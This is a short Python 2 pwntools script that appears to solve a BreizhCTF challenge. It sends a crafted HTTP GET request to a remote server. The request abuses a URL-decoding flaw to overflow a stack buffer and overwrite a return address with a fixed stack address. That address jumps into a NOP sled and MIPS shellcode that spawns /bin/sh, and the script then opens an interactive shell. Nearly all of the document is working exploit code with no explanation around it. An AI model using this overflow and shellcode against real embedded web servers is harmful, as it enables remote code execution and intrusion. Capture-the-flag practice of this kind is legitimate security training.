#!/usr/bin/python2

import os
import sys
import pwn as p
from pwnlib.util.cyclic import cyclic as cyclic

# http://shell-storm.org/shellcode/files/shellcode-80.php
shellcode = "\x50\x73\x06\x24"\
	"\xff\xff\xd0\x04"\
	"\x50\x73\x0f\x24"\
	"\xff\xff\x06\x28"\
	"\xe0\xff\xbd\x27"\
	"\xd7\xff\x0f\x24"\
	"\x27\x78\xe0\x01"\
	"\x21\x20\xef\x03"\
	"\xe8\xff\xa4\xaf"\
	"\xec\xff\xa0\xaf"\
	"\xe8\xff\xa5\x23"\
	"\xab\x0f\x02\x24"\
	"\x0c\x01\x01\x01"\
	"/bin/sh\x00" 

nop = "\xff\xff\x06\x28"
shellcode = nop * 100 + shellcode

payload = b"GET %\x00A"
pattern = bytearray(cyclic(1000))

read_buffer = 0x7fffe974
shellcode_offset = 60 # must be a multple of 4
shellcode_addr = read_buffer + shellcode_offset + 4 * 40
pattern[36:40] = p.p32(shellcode_addr)
pattern[41] = b"\x00" # end urldecode loop
payload += pattern
payload = bytearray(payload)

payload[shellcode_offset:shellcode_offset+len(shellcode)] = shellcode

r = p.remote("breizhctf.serveur.io", 4242)
r.send(payload)
r.interactive()
